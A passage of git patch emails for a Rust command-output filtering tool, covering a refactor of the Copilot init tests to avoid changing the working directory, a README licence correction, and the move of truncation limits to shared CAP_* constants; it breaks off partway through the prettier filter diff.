#1964 --- src/hooks/init.rs | 76 +++++++++++++++-------------------------------- 1 file changed, 24 insertions(+), 52 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 8c1b128628..9371ea4e9d 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -3721,8 +3721,7 @@ fn upsert_copilot_instructions(path: &Path, ctx: InitContext) -> Result<()> { let InitContext { verbose, dry_run } = ctx; let existing = if path.exists() { - fs::read_to_string(path) - .with_context(|| format!("Failed to read {}", path.display()))? + fs::read_to_string(path).with_context(|| format!("Failed to read {}", path.display()))? } else { String::new() }; @@ -3784,15 +3783,25 @@ fn upsert_copilot_instructions(path: &Path, ctx: InitContext) -> Result<()> { Ok(()) } -/// Entry point for `rtk init --copilot` +/// Entry point for `rtk init --copilot`. +/// +/// Installs in the current working directory's `.github/` subdirectory. pub fn run_copilot(ctx: InitContext) -> Result<()> { + run_copilot_at(Path::new("."), ctx) +} + +/// Same as [`run_copilot`] but operates relative to an explicit base path. +/// +/// Used by tests to avoid mutating process-global `cwd` (which is racy under +/// `cargo test`'s default parallel execution). +fn run_copilot_at(base: &Path, ctx: InitContext) -> Result<()> { let InitContext { dry_run, .. } = ctx; - // Install in current project's .github/ directory - let github_dir = Path::new(".github"); + let github_dir = base.join(".github"); let hooks_dir = github_dir.join("hooks"); if !dry_run { - fs::create_dir_all(&hooks_dir).context("Failed to create .github/hooks/ directory")?; + fs::create_dir_all(&hooks_dir) + .with_context(|| format!("Failed to create {} directory", hooks_dir.display()))?; } // 1. Write hook config @@ -5707,8 +5716,6 @@ mod tests { #[test] fn test_copilot_init_preserves_existing_instructions() { - use std::env; - let temp = TempDir::new().unwrap(); let github_dir = temp.path().join(".github"); fs::create_dir_all(&github_dir).unwrap(); @@ -5719,11 +5726,7 @@ mod tests { Never suggest npm; prefer pnpm.\n"; fs::write(&instructions_path, user_content).unwrap(); - let original_cwd = env::current_dir().unwrap(); - env::set_current_dir(temp.path()).unwrap(); - let result = run_copilot(InitContext::default()); - env::set_current_dir(&original_cwd).unwrap(); - result.unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); let final_content = fs::read_to_string(&instructions_path).unwrap(); @@ -5747,20 +5750,15 @@ mod tests { #[test] fn test_copilot_init_idempotent_repeats() { - use std::env; - let temp = TempDir::new().unwrap(); let github_dir = temp.path().join(".github"); fs::create_dir_all(&github_dir).unwrap(); - let original_cwd = env::current_dir().unwrap(); - env::set_current_dir(temp.path()).unwrap(); - run_copilot(InitContext::default()).unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); let after_first = fs::read_to_string(github_dir.join("copilot-instructions.md")).unwrap(); - run_copilot(InitContext::default()).unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); let after_second = fs::read_to_string(github_dir.join("copilot-instructions.md")).unwrap(); - env::set_current_dir(&original_cwd).unwrap(); assert_eq!( after_first, after_second, @@ -5781,8 +5779,6 @@ mod tests { #[test] fn test_copilot_init_updates_stale_block() { - use std::env; - let temp = TempDir::new().unwrap(); let github_dir = temp.path().join(".github"); fs::create_dir_all(&github_dir).unwrap(); @@ -5794,10 +5790,7 @@ mod tests { ); fs::write(&instructions_path, &stale).unwrap(); - let original_cwd = env::current_dir().unwrap(); - env::set_current_dir(temp.path()).unwrap(); - run_copilot(InitContext::default()).unwrap(); - env::set_current_dir(&original_cwd).unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); let updated = fs::read_to_string(&instructions_path).unwrap(); @@ -5817,23 +5810,15 @@ mod tests { #[test] fn test_copilot_init_dry_run_no_write() { - use std::env; - let temp = TempDir::new().unwrap(); - let github_dir = temp.path().join(".github"); - fs::create_dir_all(&github_dir).unwrap(); - - let instructions_path = github_dir.join("copilot-instructions.md"); + let instructions_path = temp.path().join(".github").join("copilot-instructions.md"); assert!(!instructions_path.exists()); - let original_cwd = env::current_dir().unwrap(); - env::set_current_dir(temp.path()).unwrap(); let ctx = InitContext { dry_run: true, ..InitContext::default() }; - run_copilot(ctx).unwrap(); - env::set_current_dir(&original_cwd).unwrap(); + run_copilot_at(temp.path(), ctx).unwrap(); assert!( !instructions_path.exists(), @@ -5843,19 +5828,11 @@ mod tests { #[test] fn test_copilot_init_fresh_install_creates_file() { - use std::env; - let temp = TempDir::new().unwrap(); - let instructions_path = temp - .path() - .join(".github") - .join("copilot-instructions.md"); + let instructions_path = temp.path().join(".github").join("copilot-instructions.md"); assert!(!instructions_path.exists()); - let original_cwd = env::current_dir().unwrap(); - env::set_current_dir(temp.path()).unwrap(); - run_copilot(InitContext::default()).unwrap(); - env::set_current_dir(&original_cwd).unwrap(); + run_copilot_at(temp.path(), InitContext::default()).unwrap(); assert!( instructions_path.exists(), @@ -5869,8 +5846,6 @@ mod tests { #[test] fn test_copilot_init_refuses_malformed_block() { - use std::env; - let temp = TempDir::new().unwrap(); let github_dir = temp.path().join(".github"); fs::create_dir_all(&github_dir).unwrap(); @@ -5879,10 +5854,7 @@ mod tests { let malformed = format!("# My rules\n\n{}\nincomplete RTK block\n", RTK_BLOCK_START); fs::write(&instructions_path, &malformed).unwrap(); - let original_cwd = env::current_dir().unwrap(); - env::set_current_dir(temp.path()).unwrap(); - let result = run_copilot(InitContext::default()); - env::set_current_dir(&original_cwd).unwrap(); + let result = run_copilot_at(temp.path(), InitContext::default()); assert!( result.is_err(), From f2864eb8a9df7264a7c85eec4e4c637082c7723a Mon Sep 17 00:00:00 2001 From: Tylere Zimmerman Date: Wed, 20 May 2026 08:34:17 -0500 Subject: [PATCH 113/257] docs(readme): fix license references to match LICENSE (Apache-2.0) The README badge and footer claimed MIT, but the LICENSE file is Apache License 2.0. Updates both references so the README matches the authoritative LICENSE file. Closes #1996 Co-Authored-By: Claude --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index a0db81d25c..f8d65efe52 100644 --- a/README.md +++ b/README.md @@ -9,7 +9,7 @@

CI Release - License: MIT + License: Apache 2.0 Discord Homebrew

@@ -483,7 +483,7 @@ Join the community on [Discord](https://discord.gg/RySmvNF5kF). ## License -MIT License - see [LICENSE](LICENSE) for details. +Apache License 2.0 - see [LICENSE](LICENSE) for details. ## Disclaimer From b6054a5fefda513515c9d0a744ae1f34c5d6f336 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 20 May 2026 17:29:14 +0200 Subject: [PATCH 114/257] refacto(truncations): Set global CAPS for truncation Following tee and hint refacto Add global CAP constant to be inherited , to enable easier global configuration later --- CONTRIBUTING.md | 2 +- src/cmds/README.md | 2 +- src/cmds/cloud/aws_cmd.rs | 5 ++-- src/cmds/cloud/container.rs | 17 ++++++-------- src/cmds/cloud/psql_cmd.rs | 11 +++++---- src/cmds/dotnet/dotnet_cmd.rs | 24 ++++++++++--------- src/cmds/git/gh_cmd.rs | 5 ++-- src/cmds/git/git.rs | 11 ++++++--- src/cmds/git/glab_cmd.rs | 7 +++--- src/cmds/git/gt_cmd.rs | 4 +++- src/cmds/go/go_cmd.rs | 5 ++-- src/cmds/go/golangci_cmd.rs | 11 ++++++--- src/cmds/js/lint_cmd.rs | 7 +++--- src/cmds/js/next_cmd.rs | 11 ++++++--- src/cmds/js/pnpm_cmd.rs | 6 ++--- src/cmds/js/prettier_cmd.rs | 8 ++++--- src/cmds/jvm/gradlew_cmd.rs | 11 ++++++--- src/cmds/python/pip_cmd.rs | 13 +++++++---- src/cmds/python/pytest_cmd.rs | 13 +++++++---- src/cmds/python/ruff_cmd.rs | 25 ++++++++++++++------ src/cmds/ruby/rake_cmd.rs | 14 ++++++++---- src/cmds/ruby/rspec_cmd.rs | 26 ++++++++++++++------- src/cmds/rust/cargo_cmd.rs | 35 +++++++++++++++++++--------- src/cmds/rust/runner.rs | 22 +++++++++++++----- src/cmds/system/deps.rs | 43 +++++++++++++++++++---------------- src/cmds/system/env_cmd.rs | 15 +++++++----- src/cmds/system/format_cmd.rs | 8 ++++--- src/cmds/system/log_cmd.rs | 16 ++++++++----- src/cmds/system/ls.rs | 9 +++++--- src/cmds/system/pipe_cmd.rs | 23 +++++++++++-------- src/cmds/system/summary.rs | 16 ++++++++----- src/core/README.md | 4 ++++ src/core/mod.rs | 1 + src/core/truncate.rs | 4 ++++ src/parser/formatter.rs | 12 +++++++--- 35 files changed, 287 insertions(+), 159 deletions(-) create mode 100644 src/core/truncate.rs diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 19c0c79aa5..dec1a0527e 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -262,7 +262,7 @@ cargo fmt --all --check && cargo clippy --all-targets && cargo test - [ ] Unit tests added/updated for changed code - [ ] Snapshot tests reviewed (`cargo insta review`) - [ ] Token savings >=60% verified -- [ ] Any truncated list has a recovery hint (`force_tee_tail_hint` or `force_tee_hint`) +- [ ] Any truncated list has a recovery hint (`force_tee_tail_hint` or `force_tee_hint`) and uses a `CAP_*` from `src/core/truncate.rs` - [ ] Edge cases covered - [ ] `cargo fmt --all --check && cargo clippy --all-targets && cargo test` passes - [ ] Manual test: run `rtk ` and inspect output diff --git a/src/cmds/README.md b/src/cmds/README.md index c26da7da93..d077885678 100644 --- a/src/cmds/README.md +++ b/src/cmds/README.md @@ -263,7 +263,7 @@ When a filter caps a list at N items (e.g. `take(20)`), the remaining items must | Flat list — one item = one line in the tee | `force_tee_tail_hint(content, slug, MAX + 1)` | PR lists, error lines, file paths — anything where each item is a single-line string | | Multi-line blocks | `force_tee_hint(content, slug)` | Test failures, build error blocks — items that span multiple lines so a line offset is meaningless | -**Always use a named constant for the cap.** Express the cap as `const MAX_XXX: usize = N;` local to the function, then derive `take(MAX_XXX)`, `> MAX_XXX`, and the offset `MAX_XXX + 1` from it. A bare literal like `21` silently breaks if someone changes `take(20)`. +**Cap values come from `src/core/truncate.rs`.** Pick the `CAP_*` matching your data class (`CAP_ERRORS`, `CAP_WARNINGS`, `CAP_LIST`, `CAP_INVENTORY`) and bind it to a local `const MAX_XXX: usize = CAP_Y;`. Derive `take(MAX_XXX)`, `> MAX_XXX`, and the offset `MAX_XXX + 1` from the local. These CAPs will later become the configuration surface for per-filter cap tuning (user-overridable via config) — keep all truncation values routed through them so that hook lands as a single switch rather than a codebase-wide hunt. A filter that genuinely needs to deviate uses a **small additive offset** from a CAP (`CAP_WARNINGS - 5`, `CAP_LIST + 5`) so it still tracks the global when reconfigured — never a bare literal, and never `*`/`/` (those scale unboundedly). Each deviation needs a one-line comment stating why; if there's no real reason, just use the plain CAP. **The tee content must match what `tail` produces.** For `force_tee_tail_hint`, build the tee from the same formatted values shown in the output — not raw/intermediate data. If the filter reformats items before displaying them, pre-build a `Vec` of formatted lines and use it for both the display loop and the tee. diff --git a/src/cmds/cloud/aws_cmd.rs b/src/cmds/cloud/aws_cmd.rs index aa53fc3a0d..64c18cf7c2 100644 --- a/src/cmds/cloud/aws_cmd.rs +++ b/src/cmds/cloud/aws_cmd.rs @@ -5,6 +5,7 @@ use crate::core::tee::force_tee_hint; use crate::core::tracking; +use crate::core::truncate::{CAP_INVENTORY, CAP_LIST}; use crate::core::utils::{ exit_code_from_output, exit_code_from_status, human_bytes, join_with_overflow, resolved_command, shorten_arn, truncate_iso_date, @@ -15,7 +16,7 @@ use lazy_static::lazy_static; use regex::Regex; use serde_json::Value; -const MAX_ITEMS: usize = 20; +const MAX_ITEMS: usize = CAP_LIST; const JSON_COMPRESS_DEPTH: usize = 4; /// Result of a filter function: filtered text + whether items were truncated. @@ -700,7 +701,7 @@ fn filter_cfn_describe_stacks(json_str: &str) -> Option { // --- P0 filters: CloudWatch Logs, CloudFormation Events, Lambda --- -const MAX_LOG_EVENTS: usize = 50; +const MAX_LOG_EVENTS: usize = CAP_INVENTORY; /// Convert days since Unix epoch to (year, month, day). Civil calendar, UTC. fn days_to_ymd(days: i64) -> (i64, i64, i64) { diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index 09ef999fb8..495e3ac8d8 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -3,6 +3,7 @@ use crate::core::runner::{self, RunOptions}; use crate::core::stream::exec_capture; use crate::core::tracking; +use crate::core::truncate::{CAP_INVENTORY, CAP_LIST, CAP_WARNINGS}; use crate::core::utils::resolved_command; use anyhow::{Context, Result}; use serde_json::Value; @@ -112,7 +113,7 @@ fn docker_ps(_verbose: u8) -> Result { } } - const MAX_CONTAINERS: usize = 20; + const MAX_CONTAINERS: usize = CAP_LIST; // Pre-build compressed lines once; assemble full (for tee) and capped (for display) from them. let running_lines: Vec = running.iter().filter_map(|p| format_line(p, true)).collect(); @@ -218,12 +219,8 @@ fn docker_images(_verbose: u8) -> Result { total_display )); - // Show images with their full `repository:tag` name — truncating the - // registry/user prefix to "..." breaks exact-match lookups against - // deployment manifests and CI configs. The list is generously capped (a - // higher bound than before, and only the count, never the names, is - // abbreviated) so token savings still hold on machines with many images. - const MAX_IMAGES: usize = 60; + // a full image list is an inventory query, like pip list. + const MAX_IMAGES: usize = CAP_INVENTORY; let image_lines: Vec = lines .iter() .map(|line| { @@ -348,7 +345,7 @@ fn format_kubectl_pods(json: &Value) -> String { let mut out = format!("{} pods: {}\n", pods.len(), parts.join(", ")); if !issues.is_empty() { - const MAX_PODS_ISSUES: usize = 10; + const MAX_PODS_ISSUES: usize = CAP_WARNINGS; out.push_str("[warn] Issues:\n"); for issue in issues.iter().take(MAX_PODS_ISSUES) { out.push_str(&format!(" {}\n", issue)); @@ -410,7 +407,7 @@ fn format_kubectl_services(json: &Value) -> String { }) .collect(); - const MAX_KUBECTL_SERVICES: usize = 15; + const MAX_KUBECTL_SERVICES: usize = CAP_LIST; for line in all_lines.iter().take(MAX_KUBECTL_SERVICES) { out.push_str(&format!("{}\n", line)); } @@ -460,7 +457,7 @@ fn kubectl_logs(args: &[String], _verbose: u8) -> Result { /// Expects tab-separated lines: Name\tImage\tStatus\tPorts /// (no header row — `--format` output is headerless) pub fn format_compose_ps(raw: &str) -> String { - const MAX_COMPOSE_SERVICES: usize = 20; + const MAX_COMPOSE_SERVICES: usize = CAP_LIST; let lines: Vec<&str> = raw.lines().filter(|l| !l.trim().is_empty()).collect(); if lines.is_empty() { diff --git a/src/cmds/cloud/psql_cmd.rs b/src/cmds/cloud/psql_cmd.rs index 4b4e5f2c26..c250538e17 100644 --- a/src/cmds/cloud/psql_cmd.rs +++ b/src/cmds/cloud/psql_cmd.rs @@ -4,13 +4,14 @@ //! and produces compact tab-separated or key=value output. use crate::core::runner::{self, RunOptions}; +use crate::core::truncate::CAP_LIST; use crate::core::utils::resolved_command; use anyhow::Result; use lazy_static::lazy_static; use regex::Regex; -const MAX_TABLE_ROWS: usize = 30; -const MAX_EXPANDED_RECORDS: usize = 20; +const MAX_TABLE_ROWS: usize = CAP_LIST; +const MAX_EXPANDED_RECORDS: usize = CAP_LIST; lazy_static! { static ref EXPANDED_RECORD: Regex = Regex::new(r"-\[ RECORD \d+ \]-").unwrap(); @@ -250,10 +251,10 @@ mod tests { let input = lines.join("\n"); let result = filter_table(&input); - assert!(result.contains("... +10 more rows")); - // Header + 30 data rows + overflow line + assert!(result.contains("... +20 more rows")); + // Header + MAX_TABLE_ROWS data rows + overflow line let result_lines: Vec<&str> = result.lines().collect(); - assert_eq!(result_lines.len(), 32); // 1 header + 30 data + 1 overflow + assert_eq!(result_lines.len(), MAX_TABLE_ROWS + 2); // 1 header + data + 1 overflow } #[test] diff --git a/src/cmds/dotnet/dotnet_cmd.rs b/src/cmds/dotnet/dotnet_cmd.rs index 32d0244862..d16f8bc6ff 100644 --- a/src/cmds/dotnet/dotnet_cmd.rs +++ b/src/cmds/dotnet/dotnet_cmd.rs @@ -3,6 +3,7 @@ use crate::binlog; use crate::core::stream::exec_capture; use crate::core::tracking; +use crate::core::truncate::{CAP_ERRORS, CAP_LIST, CAP_WARNINGS}; use crate::core::utils::{resolved_command, truncate}; use crate::dotnet_format_report; use crate::dotnet_trx; @@ -369,7 +370,7 @@ fn format_dotnet_format_output( let mut output = format!("Format: {} files need formatting", changed_count); output.push_str("\n---------------------------------------"); - const MAX_FORMAT_FILES: usize = 20; + const MAX_FORMAT_FILES: usize = CAP_LIST; for (index, file) in summary .files_with_changes .iter() @@ -998,8 +999,8 @@ fn format_build_output(summary: &binlog::BuildSummary, _binlog_path: &Path) -> S let status_icon = if summary.succeeded { "ok" } else { "fail" }; let duration = summary.duration_text.as_deref().unwrap_or("unknown"); - const MAX_BUILD_ERRORS: usize = 20; - const MAX_BUILD_WARNINGS: usize = 10; + const MAX_BUILD_ERRORS: usize = CAP_ERRORS; + const MAX_BUILD_WARNINGS: usize = CAP_WARNINGS; let mut errors = String::new(); if !summary.errors.is_empty() { @@ -1125,25 +1126,26 @@ fn format_test_output( ) }; + const MAX_DOTNET_FAILURES: usize = CAP_WARNINGS; let mut failed_tests_section = String::new(); if has_failures && !summary.failed_tests.is_empty() { failed_tests_section.push_str("Failed Tests:\n"); - for failed in summary.failed_tests.iter().take(15) { + for failed in summary.failed_tests.iter().take(MAX_DOTNET_FAILURES) { failed_tests_section.push_str(&format!(" {}\n", failed.name)); for detail in &failed.details { failed_tests_section.push_str(&format!(" {}\n", truncate(detail, 320))); } failed_tests_section.push('\n'); } - if summary.failed_tests.len() > 15 { + if summary.failed_tests.len() > MAX_DOTNET_FAILURES { failed_tests_section.push_str(&format!( "… +{} more failed tests\n", - summary.failed_tests.len() - 15 + summary.failed_tests.len() - MAX_DOTNET_FAILURES )); let all_failed = summary .failed_tests .iter() - .skip(15) + .skip(MAX_DOTNET_FAILURES) .map(|t| { let mut s = t.name.clone(); for detail in &t.details { @@ -1161,8 +1163,8 @@ fn format_test_output( } } - const MAX_TEST_ERRORS: usize = 10; - const MAX_TEST_WARNINGS: usize = 10; + const MAX_TEST_ERRORS: usize = CAP_WARNINGS; + const MAX_TEST_WARNINGS: usize = CAP_WARNINGS; let mut errors_section = String::new(); if !errors.is_empty() { @@ -1254,8 +1256,8 @@ fn format_restore_output( let status_icon = if has_errors { "fail" } else { "ok" }; let duration = summary.duration_text.as_deref().unwrap_or("unknown"); - const MAX_FORMAT_ERRORS: usize = 20; - const MAX_FORMAT_WARNINGS: usize = 10; + const MAX_FORMAT_ERRORS: usize = CAP_ERRORS; + const MAX_FORMAT_WARNINGS: usize = CAP_WARNINGS; let mut errors_section = String::new(); if !errors.is_empty() { diff --git a/src/cmds/git/gh_cmd.rs b/src/cmds/git/gh_cmd.rs index cd22e3f919..c22c16b401 100644 --- a/src/cmds/git/gh_cmd.rs +++ b/src/cmds/git/gh_cmd.rs @@ -4,6 +4,7 @@ //! Focuses on extracting essential information from JSON outputs. use crate::core::runner::{self, RunOptions}; +use crate::core::truncate::CAP_LIST; use crate::core::utils::{ok_confirmation, resolved_command, truncate}; use crate::git; use anyhow::Result; @@ -260,7 +261,7 @@ fn format_pr_list(json: &Value, ultra_compact: bool) -> String { format!(" {} #{} {} ({})", icon, number, truncate(title, 60), author) }) .collect(); - const MAX_LIST: usize = 20; + const MAX_LIST: usize = CAP_LIST; for line in all_lines.iter().take(MAX_LIST) { out.push_str(&format!("{}\n", line)); } @@ -607,7 +608,7 @@ fn format_issue_list(json: &Value, ultra_compact: bool) -> String { format!(" {} #{} {}", icon, number, truncate(title, 60)) }) .collect(); - const MAX_LIST: usize = 20; + const MAX_LIST: usize = CAP_LIST; for line in all_lines.iter().take(MAX_LIST) { out.push_str(&format!("{}\n", line)); } diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 622f45709f..ac0912229c 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -2,6 +2,7 @@ use crate::core::stream::{exec_capture, CaptureResult}; use crate::core::tracking; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::{exit_code_from_output, exit_code_from_status, resolved_command}; use anyhow::{Context, Result}; use std::ffi::OsString; @@ -1446,12 +1447,16 @@ fn filter_branch_output(output: &str) -> String { .filter(|r| *r != ¤t && !local.contains(r)) .collect(); if !remote_only.is_empty() { + const MAX_REMOTE_BRANCHES: usize = CAP_WARNINGS; result.push(format!(" remote-only ({}):", remote_only.len())); - for b in remote_only.iter().take(10) { + for b in remote_only.iter().take(MAX_REMOTE_BRANCHES) { result.push(format!(" {}", b)); } - if remote_only.len() > 10 { - result.push(format!(" ... +{} more", remote_only.len() - 10)); + if remote_only.len() > MAX_REMOTE_BRANCHES { + result.push(format!( + " ... +{} more", + remote_only.len() - MAX_REMOTE_BRANCHES + )); } } } diff --git a/src/cmds/git/glab_cmd.rs b/src/cmds/git/glab_cmd.rs index 01a04055d8..a0282a2210 100644 --- a/src/cmds/git/glab_cmd.rs +++ b/src/cmds/git/glab_cmd.rs @@ -12,6 +12,7 @@ use super::git; use crate::core::runner::{self, RunOptions}; +use crate::core::truncate::{CAP_LIST, CAP_WARNINGS}; use crate::core::utils::{ok_confirmation, resolved_command, strip_ansi, truncate}; use anyhow::Result; use lazy_static::lazy_static; @@ -315,7 +316,7 @@ fn format_mr_list(json: &Value, ultra_compact: bool) -> String { format!(" {} !{} {} ({})", icon, iid, truncate(title, 60), author) }) .collect(); - const MAX_LIST: usize = 20; + const MAX_LIST: usize = CAP_LIST; for line in all_lines.iter().take(MAX_LIST) { filtered.push_str(&format!("{}\n", line)); } @@ -540,7 +541,7 @@ fn format_issue_list(json: &Value, ultra_compact: bool) -> String { format!(" {} #{} {}", icon, iid, truncate(title, 60)) }) .collect(); - const MAX_LIST: usize = 20; + const MAX_LIST: usize = CAP_LIST; for line in all_lines.iter().take(MAX_LIST) { filtered.push_str(&format!("{}\n", line)); } @@ -661,7 +662,7 @@ fn format_ci_list(json: &Value, ultra_compact: bool) -> String { format!(" {} #{} {} ({})", icon, id, status, ref_name) }) .collect(); - const MAX_CI_LIST: usize = 10; + const MAX_CI_LIST: usize = CAP_WARNINGS; for line in all_lines.iter().take(MAX_CI_LIST) { filtered.push_str(&format!("{}\n", line)); } diff --git a/src/cmds/git/gt_cmd.rs b/src/cmds/git/gt_cmd.rs index bfa06fd2c6..17234fe99d 100644 --- a/src/cmds/git/gt_cmd.rs +++ b/src/cmds/git/gt_cmd.rs @@ -2,6 +2,7 @@ use crate::core::stream::exec_capture; use crate::core::tracking; +use crate::core::truncate::CAP_LIST; use crate::core::utils::{ok_confirmation, resolved_command, strip_ansi, truncate}; use anyhow::{Context, Result}; use lazy_static::lazy_static; @@ -168,7 +169,8 @@ fn passthrough_gt(subcommand: &str, args: &[String], verbose: u8) -> Result crate::core::runner::run_passthrough("gt", &os_args, verbose) } -const MAX_LOG_ENTRIES: usize = 15; +// gt log entries are multi-line — trim the list cap to keep token savings above 60%. +const MAX_LOG_ENTRIES: usize = CAP_LIST - 5; fn filter_gt_log_entries(input: &str) -> String { let trimmed = input.trim(); diff --git a/src/cmds/go/go_cmd.rs b/src/cmds/go/go_cmd.rs index f70f20945a..e962e3e1ca 100644 --- a/src/cmds/go/go_cmd.rs +++ b/src/cmds/go/go_cmd.rs @@ -2,6 +2,7 @@ use crate::core::runner; use crate::core::tracking; +use crate::core::truncate::CAP_ERRORS; use crate::core::utils::{exit_code_from_output, resolved_command, truncate}; use crate::golangci_cmd; use anyhow::{Context, Result}; @@ -587,7 +588,7 @@ pub(crate) fn filter_go_build(output: &str) -> String { result.push_str(&format!("Go build: {} errors\n", errors.len())); result.push_str("═══════════════════════════════════════\n"); - const MAX_GO_BUILD_ERRORS: usize = 20; + const MAX_GO_BUILD_ERRORS: usize = CAP_ERRORS; for (i, error) in errors.iter().take(MAX_GO_BUILD_ERRORS).enumerate() { result.push_str(&format!("{}. {}\n", i + 1, truncate(error, 120))); } @@ -679,7 +680,7 @@ fn filter_go_vet(output: &str) -> String { result.push_str(&format!("Go vet: {} issues\n", issues.len())); result.push_str("═══════════════════════════════════════\n"); - const MAX_GO_VET_ISSUES: usize = 20; + const MAX_GO_VET_ISSUES: usize = CAP_ERRORS; for (i, issue) in issues.iter().take(MAX_GO_VET_ISSUES).enumerate() { result.push_str(&format!("{}. {}\n", i + 1, truncate(issue, 120))); } diff --git a/src/cmds/go/golangci_cmd.rs b/src/cmds/go/golangci_cmd.rs index 384ff1855a..8c9ef84272 100644 --- a/src/cmds/go/golangci_cmd.rs +++ b/src/cmds/go/golangci_cmd.rs @@ -3,6 +3,7 @@ use crate::core::config; use crate::core::runner; use crate::core::stream::exec_capture; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::{resolved_command, truncate}; use anyhow::Result; use serde::Deserialize; @@ -324,8 +325,9 @@ pub(crate) fn filter_golangci_json(output: &str, version: u32) -> String { } // Show top files + const MAX_GOLANGCI_FILES: usize = CAP_WARNINGS; result.push_str("Top files:\n"); - for (file, count) in file_counts.iter().take(10) { + for (file, count) in file_counts.iter().take(MAX_GOLANGCI_FILES) { let short_path = compact_path(file); result.push_str(&format!(" {} ({} issues)\n", short_path, count)); @@ -360,8 +362,11 @@ pub(crate) fn filter_golangci_json(output: &str, version: u32) -> String { } } - if file_counts.len() > 10 { - result.push_str(&format!("\n... +{} more files\n", file_counts.len() - 10)); + if file_counts.len() > MAX_GOLANGCI_FILES { + result.push_str(&format!( + "\n... +{} more files\n", + file_counts.len() - MAX_GOLANGCI_FILES + )); } result.trim().to_string() diff --git a/src/cmds/js/lint_cmd.rs b/src/cmds/js/lint_cmd.rs index 78e146f35f..13fa954640 100644 --- a/src/cmds/js/lint_cmd.rs +++ b/src/cmds/js/lint_cmd.rs @@ -3,6 +3,7 @@ use crate::core::config; use crate::core::stream::exec_capture; use crate::core::tracking; +use crate::core::truncate::{CAP_ERRORS, CAP_WARNINGS}; use crate::core::utils::{package_manager_exec, resolved_command, truncate}; use crate::mypy_cmd; use crate::ruff_cmd; @@ -282,7 +283,7 @@ fn filter_eslint_json(output: &str) -> String { } // Show top files with most issues, plus the top rules in each - const MAX_FILES: usize = 10; + const MAX_FILES: usize = CAP_WARNINGS; result.push_str("Top files:\n"); for (file_result, count) in by_file.iter().take(MAX_FILES) { let short_path = compact_path(&file_result.file_path); @@ -408,7 +409,7 @@ fn filter_pylint_json(output: &str) -> String { } // Show top files - const MAX_FILES: usize = 10; + const MAX_FILES: usize = CAP_WARNINGS; result.push_str("Top files:\n"); for (file, count) in file_counts.iter().take(MAX_FILES) { let short_path = compact_path(file); @@ -472,7 +473,7 @@ fn filter_generic_lint(output: &str) -> String { result.push_str(&format!("Lint: {} errors, {} warnings\n", errors, warnings)); result.push_str("═══════════════════════════════════════\n"); - const MAX_ISSUES: usize = 20; + const MAX_ISSUES: usize = CAP_ERRORS; for issue in issues.iter().take(MAX_ISSUES) { result.push_str(&format!("{}\n", truncate(issue, 100))); } diff --git a/src/cmds/js/next_cmd.rs b/src/cmds/js/next_cmd.rs index ab28f5b8bf..1f15a2af0d 100644 --- a/src/cmds/js/next_cmd.rs +++ b/src/cmds/js/next_cmd.rs @@ -1,6 +1,7 @@ //! Filters Next.js build output down to route metrics and bundle sizes. use crate::core::runner; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::{resolved_command, strip_ansi, tool_exists, truncate}; use anyhow::Result; use regex::Regex; @@ -131,7 +132,8 @@ fn filter_next_build(output: &str) -> String { // Sort by size (descending) and show top 10 bundles.sort_by(|a, b| b.1.partial_cmp(&a.1).unwrap_or(std::cmp::Ordering::Equal)); - for (route, size, pct_change) in bundles.iter().take(10) { + const MAX_BUNDLES: usize = CAP_WARNINGS; + for (route, size, pct_change) in bundles.iter().take(MAX_BUNDLES) { let warning_marker = if let Some(pct) = pct_change { if *pct > 10.0 { format!(" [warn] (+{:.0}%)", pct) @@ -150,8 +152,11 @@ fn filter_next_build(output: &str) -> String { )); } - if bundles.len() > 10 { - result.push_str(&format!("\n ... +{} more routes\n", bundles.len() - 10)); + if bundles.len() > MAX_BUNDLES { + result.push_str(&format!( + "\n ... +{} more routes\n", + bundles.len() - MAX_BUNDLES + )); } result.push('\n'); diff --git a/src/cmds/js/pnpm_cmd.rs b/src/cmds/js/pnpm_cmd.rs index 0add005557..6dd53f08c3 100644 --- a/src/cmds/js/pnpm_cmd.rs +++ b/src/cmds/js/pnpm_cmd.rs @@ -2,6 +2,7 @@ use crate::core::stream::exec_capture; use crate::core::tracking; +use crate::core::truncate::CAP_LIST; use crate::core::utils::resolved_command; use anyhow::{Context, Result}; use serde::Deserialize; @@ -13,10 +14,7 @@ use crate::parser::{ DependencyState, FormatMode, OutputParser, ParseResult, TokenFormatter, }; -/// Max packages shown per category in `pnpm list` (mixed prod+dev). -/// --prod and --dev filtered calls are never capped — they serve as hint -/// targets so the LLM can retrieve the packages hidden by this cap. -const MAX_LISTING: usize = 20; +const MAX_LISTING: usize = CAP_LIST; /// pnpm list JSON output structure #[derive(Debug, Deserialize)] diff --git a/src/cmds/js/prettier_cmd.rs b/src/cmds/js/prettier_cmd.rs index 5a6b6c6bc6..685b2f51de 100644 --- a/src/cmds/js/prettier_cmd.rs +++ b/src/cmds/js/prettier_cmd.rs @@ -1,6 +1,7 @@ //! Filters Prettier output to show only files that need formatting. use crate::core::runner::{self, RunOptions}; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::package_manager_exec; use anyhow::Result; @@ -95,14 +96,15 @@ pub fn filter_prettier_output(output: &str) -> String { )); result.push_str("═══════════════════════════════════════\n"); - for (i, file) in files_to_format.iter().take(10).enumerate() { + const MAX_PRETTIER_FILES: usize = CAP_WARNINGS; + for (i, file) in files_to_format.iter().take(MAX_PRETTIER_FILES).enumerate() { result.push_str(&format!("{}. {}\n", i + 1, file)); } - if files_to_format.len() > 10 { + if files_to_format.len() > 